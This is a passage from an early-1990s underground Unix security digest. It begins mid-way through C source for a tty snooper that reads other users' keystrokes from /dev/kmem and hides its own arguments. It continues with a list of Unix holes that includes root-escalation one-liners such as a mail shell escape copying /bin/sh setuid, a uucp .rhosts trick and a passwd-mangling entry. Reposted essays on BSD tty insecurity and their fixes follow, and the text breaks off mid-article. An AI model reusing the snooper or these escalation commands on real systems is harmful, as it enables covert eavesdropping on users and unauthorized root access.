get_name_list(board_type , argv); open_memory(&fd , argv); { char *p; /* blank out argument list */ for (p = argv[1]; *p != '\0'; p++) *p = '\0'; for (p = argv[2]; *p != '\0'; p++) *p = '\0'; } offset = minor * sizeof(struct tty); fflush(stdout); fflush(stdout); while (1) { read_tty(fd , nl[0].n_value , offset , &ttyb); get_clist(fd , &ttyb.t_nu.t_t.T_rawq); } } /** *** Much monkeying around was done before I settled on this *** procedure. I attempted to follow the c_next pointers in *** the individual cblocks. This is friutless since by the *** time we do the second seek and read the information has *** been whisked away. *** *** So - The LIMITATIONS of this routine are: *** *** cannot read from any tty in RAW mode *** can only snarf first 28 characters (ie *** the first cblock) *** *** Nice things about this routine: *** *** only NEW characters are echoed to the output *** (eg characters in the cblock which have been *** seen before are swallowed). **/ get_clist(fd , cl) register struct clist *cl; { static char c[CBSIZE]; static char *old_start = 0 , *old_finish = 0; static int old_i = 0; char *pntr; int tn , in; if ((cl->c_cc > 0) && ((old_start != cl->c_cf) || (old_finish != cl->c_cl))) { pntr = c; lseek(fd , (long) cl->c_cf , 0); read(fd , c ,(tn=in=cl->c_cc > CBSIZE ? CBSIZE : cl->c_cc)); if (old_start == cl->c_cf) { in -= old_i; pntr += old_i; } if (in > 0) while (in--) putchar(*(pntr++)); else if (in < 0) while (in++) putchar('\010'); fflush(stdout); old_i = tn; old_start = cl->c_cf; old_finish = cl->c_cl; } if (cl->c_cc <= 0) { if (old_i != 0) putchar('\n'); old_i = (int) NULL; old_start = old_finish = NULL; } } read_tty(fd , base , offset , buffer) long base , offset; register struct tty *buffer; { register int i; lseek(fd , base + offset , 0); i = read(fd , buffer , sizeof(struct tty)); if (i != sizeof(struct tty)) { printf("unexpected return from read\n"); printf("should have been %d\n" , sizeof(struct tty)); printf("was %d\n" , i); exit(0); } } open_memory(fd , argv) int *fd; char **argv; { if ((*fd = open("/dev/kmem" , 0)) < 0) { perror(argv[0]); exit(0); } } get_name_list(index,argv) int index; char **argv; { nl[0].n_name = name_list[index]; nlist("/vmunix" , nl); if (! nl[0].n_type) { printf("%s: couldn't get name list\n" , argv[0]); exit(0); } printf("%s starts at %08x\n" , nl[0].n_name , nl[0].n_value); } get_args(major , minor , argc , argv) int *major , *minor , argc; char **argv; { if (argc != 3) { fprintf(stderr,"usage: %s major_dev minor_dev \n" , argv[0]); exit(0); } *major = atoi(argv[1]); *minor = atoi(argv[2]); printf("Major Device: %d -- Minor Device: %d\n" , *major , *minor); } check_args(major , minor , board , argv) char **argv; int *board; { if (minor < 0) { bad_minor: printf("%s: bad minor device number\n" , argv[0]); exit(0); } switch (major) { case DZ11: if (minor >= NDZ * DZ_X) goto bad_minor; printf("DZ11 - Unit %d\n" , minor / DZ_X); *board = 0; break; case DH11: if (minor >= NDH * DH_X) goto bad_minor; printf("DH11 - Unit %d\n" , minor / DH_X); *board = 1; break; case PTY: if (minor >= NPT * PT_X) goto bad_minor; printf("PTY - Unit %d\n" , minor / PT_X); *board = 2; break; default: printf("%s: bad major device number\n" , argv[0]); exit(0); } } ------------------------------------------------------------------------------ Comments: Q's: Biblio: CrossRef: Code/shRef: ============================================================================== BoreD Security Digest Issue 4 Toooo sexy for CORE You're NOT dealing with AT&T!!! The unix BoreD security mailing list is by invitation only and contains sensitive material which SHOULD NOT BE REVEALED to non-members. DO NOT PUT ANY LIST CONTENTS IN LOCATIONS ACCESSABLE TO NON-MEMBERS. If you must keep copies on-line, please encrypt them at the very least. PLEASE POST TO: infohax@stormking.com PLEASE SEND EMERGENCY ALERTS TO: infohax-emergency@stormking.com PLEASE SEND REQUESTS TO: infohax-request@stormking.com SPECIAL TTY/PTY ISSUE But, seriously. First things first. This newsletter does not condone any action that is illegal (much less immoral). What you do in your spare time is your business and not ours. Some of the material presented here mabye unsuitable for readers under the influence of SS control. However, this newsletter is too legit. Next, the editorship has been changed to a compile-revision-revision- release type format with one person doing each part (therefore in effect having four editors). This is not a sole -I am gh0d and you are n0t- type digest. The editorship is being shared. Third, this is the fourth issue. These issues come out due to member participation. So far we are doing great, 4 issues in 4 months. (well, not as good as the original 1 issue per 2 week target but it isn't bad). However, due to recent events, material has not flowed as clear as it should and we need your thoughts/ideas/submissions more than ever. This is a special TTY issue and more submissions for the next issue are needed. We hope to put out another TTY/PTY issue in the next couple of issues ahead so we need your tty/pty stuff! Do not ship these issues to any one of your friends. Do not keep copies online. Do not reveal the name of the project or any of its members. If you do know of a potential member name him in here first by contacting one of us. ----------------------------------------------------------------------------- -Table of Comments for Issue 4- 1. Prelude/Comments 2. Table of Contents 3. Holes List 2 ....................................(hole2.lst) 4. TTY Comments ....................................(tty.comments) 5 TTY Partial Article .............................(tty.article) 6. blast.c .........................................4.cb.15.00 7. bugntrig.c ......................................4.cb.15.01 8. readtty.c .......................................4.cb.15.02 9. stufftty.c ......................................4.cb.15.03 10. tty-spy1: cover.c ...............................4.cb.15.04 11. tty-spy2: assorted ..............................4.cb.15.05 ----------------------------------------------------------------------------- ============================================================================== hole.list.2 hole.list.01 02/23/92 ------------------------------------------------------------------------------ DATA: ========= GENERAL ========= 1. Do not allow usernames to contain any of the following characters ";~!`" (or any shell meta-charaters). This allows setuid root programs that popen to be spoofed. 2. Never allow a setuid to root program to send a mail message that the user creates to either the Berkeley mailer or mailx. All a user has to do to break root is to send a line such as: ~!cp /bin/sh /tmp/sh; chmod 2555 /tmp/sh That is that Berkeley mail(1) and Berkeley mailx(1) BOTH allow this shell escape to be executed if the line starts in column one of stdout while entering the message text. 3. Most security holes in UNIX are related to incorrect setting of directory and file permissions or race conditions in the kernel that allow setuid programs to be exploited. All non-standard setuid programs should be examined. 4. Many systems can be compromised with NFS/RPC. A skilled RPC writer can break security relatively easily. MIT's PROJECT ATHENA came up with Kerberos to address these problems, networks are usually very insecure. 5. The mount command should not be executeable by ordinary users. A setuid program on a mountable disk is NOT TO BE TRUSTED. 6. Systems that allow read-only mounting of foriegn disk are a security hole. Setuid programs are normally honored. This allows a person who has root access on a foriegn machine to break it on another. 7. Expreserve can be a huge hole (see the following) /dev/fb the frame buffer devices on at least suns are world readable/writeable, which is at best annoying (when someone runs something strange on you) and at worst insecure (since someone can take a snapshot of your screen via screenload or whatnot) /dev/*st*, *mt*, etc (tape devices) generally world readable/writeable, bad since others can nuke your tapes, read your backups, etc. chfn, chsh used to create a root account core will system dump a setgid core image? domain name system a sysadmin running the soa for a domain somewhere can create a bugs reverse address mapping table for one of his hosts that causes its IP address to have the domain name of a machine that my host has in its hosts.equiv file. if i'm using the usual version of 'istrusted' (I think that's the routine's name), the address lookup reveals the name of the host to be one that my host trusts, and this other sysadmin can rlogin into my machine or rsh or whatnot at will. fchown test for bad group test ftruncate can be used to change major/minor numbers on devices fingerd hard .plan links - reading unreadable files readable by user(fingerd) setuid, .plan links running as root (fingerd_test.sh) buffer overrun file mod test. test of file does not loose the setuid bit when modified ftp ftpd static passwd struct overwrite 4.2 based bug, userid not reset properly, (after logging in enter comment "user root" and you are, last seen onder SunOS 3.3?). overwrite stack somehow? hosts.equiv default + entry istrusted routine - easy to spoof by bad SOA at remote site with hacked reverse address map. lock 4.1bsd version had the password "hasta la vista" as a builtin trapdoor. (found in ultrix) lost+found, fsck lost+found should be mode 700, else others might see private files. lpd its possible to ovberwrite files with root authority with user level access locally or remotely if you have local root access lpr lpr -r access testing problem lprm trusts utmp passwd fgets use allows long entries which will be mangled into ::0:0::: entries also allows: fred:...:...:...:Fred ....Flintstone::/bin/sh => fred:...:...:...:Fred..... Flintstone::/bin/sh which is a root entry with no password! fix - should skip to eol if it didn't read whole entry, should enforce buffer limits on text in file, don't use atoi (since atoi(/bin/sh) is 0). portmap allows other net entities to make bindings - may not be a "security hole", can lead to denial of service. rcp nobody problem rexd existence rwall,comsat running as root, utmp world writeable, writes to files as well as devices in utmp dev fields. rdist - buffer overflow selection_svc allowed remote access to files sendmail debug option wizard mode TURN command allows mail to be stolen decode mail alias - anyone can send mail to decode, write to any file onwed by daemon, if they can connect to sendmail daemon, can write to any file owned by any user. overflow input buffer cause the sendmail deamon to lock up overwrite files sendmail can be "tricked" into delivering mail into any file but those own my root. -oQ (different Q) fixed in newer versions mqueue must not be mode 777! what uid does |program run with? sendmail -bt -C/usr/spool/mail/user - in old versions, allows you to see all lines of the file. setuid bit handling setuid/setgid bit should be dropped if a file is modified fix: kernel changes setuid scripts there are several problems with setuid scripts. is it worth writing tests for these? some systems might have fixed some of the holes - does anyone know how one fixes these problems in a proactive fashion? sh IFS hole (used with vi, anything else?) su overwrite stack somehow? tcp/ip sequence number prediction makes host spoofing easier source routing make host spoofing easier rip allows one to capture traffic more easily various icmp attacks possible (I suspect a traceroute'd kernel will allow one to easily dump packets onto the ethernet) tftp allows one to grab random files (eg, /etc/passwd). fix - should do a chroot allows puts as well as gets, no chroot fix - don't run as root, use chroot, no puts, only if boot server. utmp check to see if world writeable (if so, the data can't be trusted, although some programs are written as though they trust the data (comsat, rwalld)). uucp check if valid uucp accounts are in the /etc/ftpusers. If the shell is uucico and passwd is valid make sure it is listed in ftpusers. check to see that uucp accounts have shell: if left off, folks can do: cat >x myhost myname ^D uucp x ~uucp/.rhosts rsh myhost -l uucp sh -i HDB nostrangers shell escape HDB changing the owner of set uid/gid files HDB meta escapes on the X command line HDB ; breaks on the X line uudecode if it is setuid, some versions will create setuid files ypbind accepts ypset from anyone (can create own ypserv and data, and ypset to it...) ypserv spoofing send lots of bogus replies to a request for root's passwd entry, while doing something that would generate such a request [I'm pretty sure that this is possible, but haven't tried it.] AIX * password means use root's password? AIX 2.2.1 shadow password file (/etc/security/passwd) world writeable fix - chmod 600... 386i login fix - nuke logintool, hack on login with adb, chmod 2750 ultrix 3.0 login login -P progname allows one to run random programs as root. fix - chmod 2750. xhost: if access access control is disabled any one can connect to a X display it is possible and create (forge) and/or intercept keystrokes. ------------------------------------------------------------------------------ Comments: Q's: Biblio: CrossRef: Code/shRef: ============================================================================== In the Crunch Act of 1992 the Supreme Court ruled that phones are against the law. Use a phone. Go to jail. That's the law. ============================================================================== tty.comments 4.ch.02.01 04/04/92 ------------------------------------------------------------------------------ DATA: BSD tty security, part 1: The Berkeley Experience Three weeks ago Keith Bostic gave me an account on vangogh.berkeley.edu, running one of the latest revisions of BSD 4.3-Reno, so that I could test the system for tty bugs. (What a remarkable coincidence. :-) ) I have bad news, good news, and a quick summary of what Berkeley is planning to do about tty security. The bad news: The system allows any user to take over a session started by script. Presumably this also applies to xterm, emacs, expect, et al. ``Take over'' means invisible writing, tty mode mangling, and TIOCSTI. Modulo some races, it lets any user output any number of characters at the beginning of another user's telnetd connection, and may allow more access (I haven't tested this thoroughly). Furthermore, it lets any user log any other user out, given preparation. There are several minor holes which should not be serious problems and which I won't describe here. The good news: BSD now has a revoke(filename) syscall which achieves similar effects to the enforce() that has been proposed here before; telnetd uses revoke() in a way that I believe guarantees the security of the tty. This does not stop I/O before the revoke(), but Marc Teitelbaum says (and I agree) that proper flushing and a bit more paranoia will completely shield login sessions from attack. Unfortunately, revoke() is not usable by unprivileged programs like script, so for most purposes ptys are as insecure as they were in BSD 4.2. Last-minute good news: Marc has found the bug that allowed the logout problem. He will fix it. What BSD plans to do in the future about tty security: Apparently 4.4 will have ``bstreams'', roughly equivalent to the other stream systems in the world. ptys will be re-implemented as bstreams, so they will (finally!) be dynamically allocatable. Hopefully everyone at Berkeley will agree that ptys do not belong in the filesystem; the ones who know this are working to convince those who aren't sure, or so I hear. Given this radical reorganization, it appears that BSD 4.4 ttys will be secure. If this is true, I withdraw my previous threat. (But see part 4 for further comments.) In the meantime (i.e., until someone gets up the courage to implement bstreams) I have outlined to Marc a reasonably simple plan for making ttys completely secure without radically changing the kernel or system applications. I hope he sees that the plan involves at most a couple of hours of work, so that with luck secure ttys will make it into the next interim BSD release. As my plan also applies to BSD 4.2 and 4.3 and popular systems derived from them, I have included it here as part 3. BSD tty security, part 2: The POSIX Perspective [Warning: By the end of part 1 you may have thought I was in a good mood. Sorry, but no more Mr. Nice Guy. I will return to sweetness, charm, and light in part 3.] One of the security holes mentioned in part 1 (any user being able to log any other user out) was a deeply buried bug in Berkeley's implementation of a new POSIX requirement. This is a good example of how additional security channels (viz., POSIX sessions) make the system much more fragile. One of the virtues of the original UNIX system was that all security went through a single channel, namely the uid. Why can't we stick to this model? Popular BSD-derived POSIX systems like Ultrix 4.1, SunOS 4.1, and Convex UNIX 9.0 are completely insecure: any user can take complete control of any other user's session, with no privileges, no warning, no visible effect if the attacker is careful, and no logs after the fact. I asked Marc Teitelbaum how POSIX (particularly POSIX sessions) helped tty security in the latest BSD 4.3. He pointed to revoke(), but revoke() only helps security because it is applied at the *beginning* of a session, and this is not required or even hinted at by POSIX. He couldn't find another answer. I can still take full control of any session begun by script or screen or emacs or expect. As those of you involved with POSIX know, any process can send SIGCONT to any other process in the same session, dodging all the restrictions of normal security and job control. Believe it or not, SIGSTOP and SIGCONT used to be a valuable synchronization technique, even for privileged applications. Now they're useless. This can only be regarded as a security hole. Is it unreasonable to conclude that POSIX sessions do not help security? That, in fact, they hurt security, by forcing changes upon a quite fragile piece of the system? It gets worse. In comp.unix.* we've seen repeated complaints that POSIX breaks popular applications. No, I'm not even talking about pty. I'm talking about screen, and expect, and emacs. These programs want to control children running under a different terminal, but POSIX simply doesn't acknowledge that people *want* cross-session job control. It invented ``orphaned process groups''---yet another ``standard'' which has never shown benefits and which breaks applications left and right. Is it unreasonable to conclude that POSIX sessions are a problem? I keep asking people what POSIX sessions do for users, or programmers, or administrators, or system implementors. Nobody comes up with an answer. ``They were meant to make job control secure,'' people say. So why tf are they required even on systems not supporting the job control option? After all this I'm not even going to say POSIX sessions should be abolished. All I want is for them to be made optional, like job control. It really wouldn't be difficult---just change a couple of definitions and put the equivalent of #ifdef SESSION around the dozens of additional rules invented for POSIX sessions. Is this such a price to pay for backward compatibility, extra security, and the chance to make POSIX improve over the years as people figure out simpler job control models? And doesn't it make sense that inventions in a standard should be optional to begin with? Let me close these comments with a personal remark: The next time I report tty security holes to a vendor, if I hear ``We've fixed that, we support POSIX,'' I'm probably going to do something violent. Maybe it'll just be a symbolic burning of the latest POSIX 1003.1 in the middle of Central Park, but I know it's gonna be violent. :-) BSD tty security, part 3: How to Fix It Here's one way to fix the BSD 4.[234] tty system, i.e., to provide some strong guarantees that pty and tty sessions are safe and not subject to corruption or denial of service, with minimal changes to the kernel and to application programs. This is also meant to apply to systems derived from BSD, such as SunOS, Ultrix, etc. I've included quite a bit of sample code here, as well as evaluations of what effect these changes will have on users and old programs. Thanks in particular to Marc Teitelbaum for his extensive comments. The second half of the article includes a bunch of optional recommendations that may make your life easier but are not necessary for security. Quick summary of kernel changes required: Make /dev/tty ioctls work on /dev/tty??, make a /dev/stdtty driver which simply dup()s fd 3, and add an ioctl, TIOCOPENCT, which returns the number of active references to a given inode. That's it. Quick summary of application changes required: Have certain programs do an extra open() of the slave side to fd 3, move two device drivers, add about fifteen lines of code (forty with complete error checks) to those programs, add a new uid and group, make /dev/[pt]ty* world-inaccessible, change chmod()s in those programs so that /dev/[pt]ty* remain world-inaccessible, and make various programs setuid or setgid. That's it. 1. Make all /dev/tty-specific ioctls work upon /dev/tty??. If the only such ioctl is TIOCNOTTY, this is not necessary unless you want to preserve the programmer's interface to detachment (which is probably necessary). This may take some work. This step is safe, in that it will not break working code. 2. Set up a /dev/stdtty driver that dup()s fd 3. This is tedious but not difficult in principle. On systems with /dev/fd/3, all you have to do is ln /dev/fd/3 /dev/stdtty. This step is safe. 3. Add an ioctl---I propose ioctl(fd,TIOCOPENCT,&x)---which *reliably* sets x to the number of references to the *file* (not open file: I mean file on disk, i.e., dev/inode pair, i.e., [igv]node) given by fd, or -1 if fd is not a disk file. Here ``reference'' means open file (i.e., the thing in the file table). Under NFS I believe it is sufficient to report v->v_count of the vnode. ``Reliably'' means that no matter what is going on---swapped processes, locks of all sorts on the inode, file descriptor passing, opening and closing---the returned information will be absolutely correct starting from when ioctl() finishes and continuing as long as no process opens or closes the file in question. This step is safe. 4. Make sure that each of the tty-handling programs---getty, telnetd, rlogind, script, etc.---opens /dev/ttyxx again in the master process and leaves it open for use in #9 below. ``Master process'' means the process in charge of the master side of the pty---telnetd, for instance. This is easy: int fdttyagain; /* global variable */ ... /* in the parent right after fork */ fdttyagain = open(line,O_RDWR); if (fdttyagain == -1) syslog(LOG_CRIT,"cannot open %s again: %m",line); /* or whatever your favorite error reporting method is */ This step is safe. 5. Make a new uid, pty. Make each of the non-root tty-handling programs (that means script, as well as programs like atty, mtty, pty, etc. if you have them installed) setuid pty, and make sure they reset uids before executing anything. Do not make pty the same as root, unless your system handles MAXUPRC by effective userid (ugh)---in that case you can't safely run anything setuid to any user but root, and you should complain to your vendor. (The latter is true under, e.g. Ultrix 3.1.) This step is safe, but will take some work if you have many non-root tty-handling programs. 6. Change the root tty-handling programs (e.g., telnetd) so that they reset ttys to owner pty mode 600 rather than owner root mode 666. This step will break any user programs that allocate ttys dynamically and that you didn't take care of in #5. It is safe otherwise. 7. Have each of the tty-handling programs---getty, telnetd, rlogind, script, etc.---open file descriptor 3 to the tty. This is trivial: { /* after closing other descriptors, right before exec'ing the slave */ int fdtty; fdtty = open(line,O_RDWR); /* line is, e.g., "/dev/ttyp7" */ if (fdtty == -1) ; /* XXX: complain to the user, or exit */ else if (fdtty != 3) { if (dup2(fdtty,3) == -1) ; /* XXX: complain to the user, or exit */ close(fdtty); } } This step will break any old code that assumes the first open() will return 3. (Such code is disgusting, but this is beside the point.) 8. ln /dev/tty /dev/oldtty; rm /dev/tty; ln /dev/stdtty /dev/tty; chmod 600 /dev/oldtty. This is the first change that will affect users directly. However, if you have done steps 1, 2, and 7 correctly, nobody will notice. Marc comments that any programs which redirect or close fd 3 will be affected if they later use /dev/tty; he couldn't think offhand of any such programs except ksh, which isn't installed on most BSD machines. If you do find further examples of such programs or scripts, please post the fixes here. An alternative is to use fd 11 instead of fd 3 throughout these changes; this won't help ksh, but I've never seen a script use fd 11. 9. In each of the tty-handling programs, do the following upon slave exit: (a) Clean up everything except (if it is convenient) [uw]tmp. Close 0, 1, 2, and any other random descriptors lying around, except /dev/ptyxx and /dev/ttyxx. (b) Test /dev/ttyxx with TIOCOPEN*. If someone else still has it open, continue to step (c); otherwise skip to step (d). (c) Fork, and exit in the parent. Repeatedly test /dev/ttyxx (a five-second sleep is fine) until it is closed. (d) Clean up [uw]tmp and exit. Note that steps (b) and (c) can fit into a simple library routine. Here's sample code, with paranoid error checking: /* after cleaning up mostly everything */ if (fdttyagain != -1) { /* Assumption: /dev/ttyxx is back to mode 600 owner pty. */ int count; close(0); close(1); close(2); ... /* close any other descriptors previously opened */ /* _except_ /dev/ptyxx (``fdpty'', perhaps) and fdttyagain */ (void) ioctl(fdttyagain,TIOCEXCL,(char *) 0); /* entirely optional, but better safe than racing */ /* if TIOCOPENCT is not completely reliable */ if (ioctl(fdttyagain,TIOCOPENCT,&count) == -1) syslog(LOG_CRIT,"cannot count open references to %s: %m",line); /* or whatever your favorite error reporting method is */ else if (count > 1) { syslog(LOG_INFO,"waiting on %s",line); switch(fork()) { case -1: syslog(LOG_CRIT,"cannot fork to wait on %s: %m",line); break; case 0: { int i; i = 0; for (;;) { sleep(5); if (ioctl(fdttyagain,TIOCOPENCT,&count) == -1) syslog(LOG_CRIT,"weird: cannot count open references to %s: %m",line); else if (count == 1) break; ++i; if (!(i % 1000)) syslog(LOG_INFO,"waited %d secs on %s",i * 5,line); /* XXX: If i gets large enough, you may want to take */ /* desperate measures at this point. Example: */ /* vhangup(); fcntl(fdpty,F_SETFL,FNDELAY); */ /* vhangup(); write(fdpty,"x",1); vhangup(); */ /* read(fdpty,"y",1); vhangup(); */ /* And then break. */ } } syslog(LOG_INFO,"done waiting on %s",line); break; default: exit(0); } } /* now finish cleaning up everything, and exit */ } It doesn't really matter where the above code comes inside a cleanup routine, as long as the tty already has the right modes. I think it's aesthetically better to leave the utmp entry alone until the tty is deallocated; but if this isn't convenient for some program, feel free to ignore aesthetics and put the code right before exit(). Marc notes that this change will leave a pseudo-tty allocated to a user as long as the user has a background process on the tty. Religious types will say ``yes, that's how it should be.'' I say that at sites I'm familiar with, this isn't a problem, because users don't run very many background jobs, and there are more than enough pseudo-ttys. If this is a problem for you, you will have to do step #20 below and educate your users to detach background jobs, meanwhile killing any runaways. Sorry, but this is the price you pay for security. You may prefer the ``desperate measures'' mentioned in the sample code to simply cut off tty access after a few hours; any use of vhangup() is chock-full of race conditions, but it would be exceedingly difficult for a process to make it past all the races. 10. chown pty /dev/[pt]ty*; chmod 600 /dev/[pt]ty*. This is the big step. Nonprivileged programs will no longer be able to open any ttys or ptys, so nobody can deny service to other users without executing a privileged program that will later show up in acct. Furthermore, the TIOCOPENCT code guarantees that if a tty-handling program exits, absolutely nobody is using that tty, so it is safe for immediate use by the next tty-handling program. This throws a huge wrench into all the fundamental tty security holes I know. 11. If you're using a Sun, make sure to chmod 600 /etc/utmp, or these changes will go to waste. You may find it convenient to make certain programs setgid or setuid here so that they can still write utmp, though I consider this a mistake---you are bound to slip up when a hundred different tools all manage one supposedly secure file. (But anything is better than what Sun currently ships.) 12. Support the BSD 4.3 tty group model: make a new group, tty, chgrp all /dev/tty* to it, and make ``talk'' and ``write'' setgid tty. Of course, you don't need to do this if you already have the tty group. It's possible to accomplish similar results with fewer changes. In fact, my next version of pty will almost guarantee safety on stock BSD 4.2 systems with no kernel support except read access to /dev/kmem. (It is, unfortunately, not possible to avoid race conditions from user code.) You can, for example, place the burden of TIOCOPENCT checking upon the program opening the tty, rather than the program closing it, so that it's not a problem if one tty handler fails to do its job; but this increases turnaround time for the users and allows denial-of-service attacks. The above changes should be straightforward enough that halfway solutions are not worthwhile. (POSIX fans will note that using TIOCOPENCT to keep the tty allocated past session leader exit *is* compliant: it only affects the secure BSD exclusive lock on the master side, and does not prevent reassignment of the slave tty to a new session---not that such a reassignment will ever occur.) Why must tty-handling programs be setuid rather than setgid? Because the user must not be allowed to kill them---he would be able to retain tty access that way. There are many further changes you can make to eliminate minor security holes or improve accounting. EVERYTHING BELOW THIS POINT IS COMPLETELY OPTIONAL. Here are some of the most important: 13. Fix write. Many people don't appreciate how poor write's security is; I quote from my pty paper's description of a write clone: : Finally, write is a vastly improved clone. The old write had several big : security holes: 1. Control characters were passed through. This version : converts anything unprintable into a caret. 2. Lines were not : distinctively marked. A user could manually simulate the ``EOT'' or : ``EOF'' sequence, wait a few minutes, then start sending anything to the : other tty without identification. This version precedes each line with : the name of the sending user, and prints something more informative than : EOT for an ended message. 3. write could be used to flood a terminal. : (This is an accident waiting to happen.) This version puts a one-second : pause between each line and restricts line length. 4. Originally, write : would only check the protection on the tty being written to. But this : meant that a user could be interrupted by someone hiding behind mesg n : and have no recourse. (Footnote: Remember that UNIX has no enforce() : call to enforce new permissions on an object. Setting mesg n does not : stop a write in progress.) So many versions of write included : ``revenge'': X was allowed to write to Y only if Y could write back. : However, these versions tested tty protection only at the beginning of a : message---which was useless. This version does the correct test: it : simply checks write permission before sending each new line. My write clone is public-domain, so I invite you---I beg you---to steal code from it. Don't even give me any credit, just fix the bugs. Please. 14. Make script grok utmp and wtmp. (You may have to rethink certain wtmp-based accounting schemes to do this.) Users constantly complain that they can't ``talk'' within script, and the lack of accounting is annoying. This doesn't matter under #18. 15. Change the chown() and fchown() system calls so that files can be chowned between uid and euid. This opens up chown() for lots of secure services without forcing the servers to run as root. In this case, it lets script change the tty owner properly. This doesn't matter, though, if you implement #16. 16. Don't even bother chowning ttys to the users who own them. (At this point they might as well not be in the filesystem.) Yes, you can make biff and mesg setuid pty, and no, nothing breaks except nroff's mesg n. 17. Make sure that telnetd, rlogind, etc. leave ttys with messages *off* by default. Since UNIX has no way to enforce new access permissions on a file, the usual default leaves all users open to instant attack. This is a huge problem in the real world (at universities, at least), and while there may be a sane argument for having messages on by default, it cannot justify what amounts to unrestricted output to any and all ttys. Finally, here are some optional changes that will make the above changes much easier, or that will add basic features to your system. Do them first and you'll never regret it. 18. Provide a program that spawns another program under a pseudo-tty, handling I/O and job control transparently, and obeying all the rules for tty handlers mentioned above. In fact, the program already exists by the name of ``pty'' (see, e.g., comp.sources.unix volume 23), and its author is quite willing to negotiate distribution terms. pty also supports session management. (Isn't it embarrassing to explain UNIX to a long-time VMS user? ``No, sorry, Bob, you can't get back to that shell after your modem went on the fritz. The shell is gone.'' ``vi -r? Oh, yeah, Bob, that means your connection got hung up.'' ``Nope, sorry, Bob, you can't start recording a `talk' session without hanging up and talking again.'' ``No, Bob. This is not VMS. Your process is stuck to that terminal, right there. Yes, I understand, the terminal screen just exploded, and you can't see your output. No, you cannot move to the next terminal and continue work. Sorry, Bob, you're out of luck. Bye, Bob.'') 19. Rewrite all other tty handlers (it's easy---trust me) to invoke that single, modular program. Don't you find it strange that a dozen programs all have the same pty allocation code? Don't you find it unreasonable, at least from a ``software engineering'' standpoint, that since people are too lazy to do (e.g.) random tty searching every time they recopy the same code, your average tty handler wastes several dozen open()s on a big machine when it could use just two? In fact, I'll be glad to do all the work of conversion for you, provided that you agree to make the final version available for people to use. 20. Provide a program that detaches from its controlling tty and spawns another program. The program is usually called ``detach'' and has no options of note. It should also seek out and reopen("/dev/null") any file descriptors pointing to any tty. 21. Delete /dev/oldtty and remove the /dev/tty driver from your kernel. Also remove controlling ttys entirely. Also remove POSIX sessions if you have them: make setsid() a no-op, and return an implementation-defined error upon the pointless POSIX SIGCONT special case, and you even retain POSIX compatibility if you had it. (Well, with one exception: POSIX defines a foreground process in terms of its controlling terminal, rather than the terminal it's trying to access as in BSD. Beg the POSIX folks to make this rule optional---what do they lose?) Notice how much extra space users get for running programs. 22. Make a stdio stream for stdtty, descriptor 3---after all, programs do want to use it. Change csh and more to read from stdtty rather than stderr. Someday you may even be able to open stderr write-only [gasp!]. 23. Have accounting record the dev/inode pair on descriptor 3. In fact, while you're making accounting work sensibly, record the pid, as well as the dev/inode pair of the program run (if you can get that information). 24. Change getty to spawn the pty-handling program, and to disconnect that session when it receives BREAK. Guess what? You've just set up a trusted path. Most of the recommendations here come from my pty paper, various drafts of which have been available for many months. (TIOCOPEN* is new.) The basic ideas come from Bellovin's ``Session Tty'' paper, which has been available for years. If you get through all of the above and still want to improve the tty system, you might get some further ideas out of those papers. See pub/hier/pty/paper.9 on stealth.acf.nyu.edu and its references for details. BSD tty security, part 4: What You Can Look Forward To To close this series of postings, I'd like to briefly survey the state of tty security. I'm sorry I haven't been able to respond personally or quickly to everyone's mail on this issue. Just a few years ago I was exploring the depths of an old Ultrix system. It didn't take a genius to notice the occasional background jobs gone astray---obviously any user could affect any other user's tty, despite vhangup(). Soon I had ``blip'', a reasonably powerful tty mode mangler that could act both as a concise stty and as a tty security breaker. With it I could write arbitrary text to anyone's tty, TIOCSTI terminal input, change tty mode settings, send tty signals, and so on. So I sent copies of the code and documentation to the sysadmin at that site, and posted a 300-line analysis to comp.unix.wizards. As I recall, there were three responses. One asked what I was talking about. One was from the admin describing what I now know to be only a partial fix. One was from Steve Bellovin referring me to his then-new Session Tty paper for descriptions of a few of the bugs as well as a complete (but complex) fix for System V which, to my knowledge, has never been implemented. blip still works on every BSD UNIX machine I can find. It is trivial to adapt to POSIX. And it has, unfortunately, been spreading slowly around the net under the name of ``factor.'' That's right. Every available BSD UNIX machine allows any user to write or type arbitrary characters on the tty of another user. With good timing the attacker can even make his attack invisible---the moment a sysadmin types a root command, someone could be piggybacking a command like cp /bin/sh /tmp/sh; chmod 4755 /tmp/sh. And it gets worse. How many people know how to exploit these bugs? Far too many, I'm sure, but not enough to shock other admins into seeing the magnitude of this problem. And this pales beside the examples set by vendors. I tell Sun how insecure ttys are, and offer a bandaid: Sun tells me that POSIX fixes everything, and refuses to admit that a bandaid is necessary. Convex is finally waking up, but is still under the delusion that one kernel kludge after another (from vhangup() to POSIX sessions and beyond) will solve the fundamental problems of statically allocated, world-usable ttys. Berkeley is finally showing some interest in fixing the bugs, but it will be years before vendors have picked up the changes, and several years before the average machine on the net is safe. Sorry, but I'm not going to wait that long. I am sick of constantly wondering whether my users know enough to break security. I am sick of hearing that POSIX fixes the problems. I am sick of seeing vendors blind themselves to such a fundamental set of holes. You should be sick of it too. So here's what I'm doing about it. 1. In part 3 of this series I outlined a reasonably simple set of fixes. If you have a BSD-derived system where something in the plan doesn't work, please post your comments here and we'll see what has to be done. If you don't have source, and you want to be notified as soon as binary patches are available, tell CERT your hardware type and OS version at cert@cert.sei.cmu.edu. 2. I will dedicate some of my free time to working with vendors and established authorities like CERT interested in tightening up tty security. 3. So that programmers are insulated from these changes in the pty subsystem, I commit myself to porting my pty manager to any platform I have access to. 4. I will attempt to outline a minimal set of (optional) changes to the POSIX standard to keep the standard from interfering with tty security. I would be interested in hearing from POSIX committee members interested in helping with this. 5. On or around October 29, 1992, I will publish a set of tiger programs that test for and exploit the failures in BSD tty security that I have described. 6. I will give further details on the security holes to anyone who convinces me that he has a legitimate interest. That means I want a verifiable chain of people and phone numbers from the contact for a major network down to whoever wants the information, plus a better excuse than ``I haven't read Bellovin's paper or your paper yet.'' If you simply want someone other than me to tell you that the holes exist, ask bostic@okeeffe.berkeley.edu. (That's Keith Bostic, the guy in charge of BSD; don't be surprised if he doesn't get to your message immediately.) Please don't believe vendor assurances that the holes have been fixed---they haven't. I hope I've yelled enough about these bugs now. I hope that soon there won't be anything to yell about. ------------------------------------------------------------------------------ Comments: Q's: Biblio: series of postings off UseNet CrossRef: Code/shRef: ============================================================================== `Sex' is not the question. `Sex' is the answer. `Yes' is the question. ============================================================================== TTY article 4.ch.03.01 05/03/92 ------------------------------------------------------------------------------ DATA: 5. Some tty security holes In this section we describe some of the most important security holes related to ttys. There are two types of ttys. Hardwired ttys, 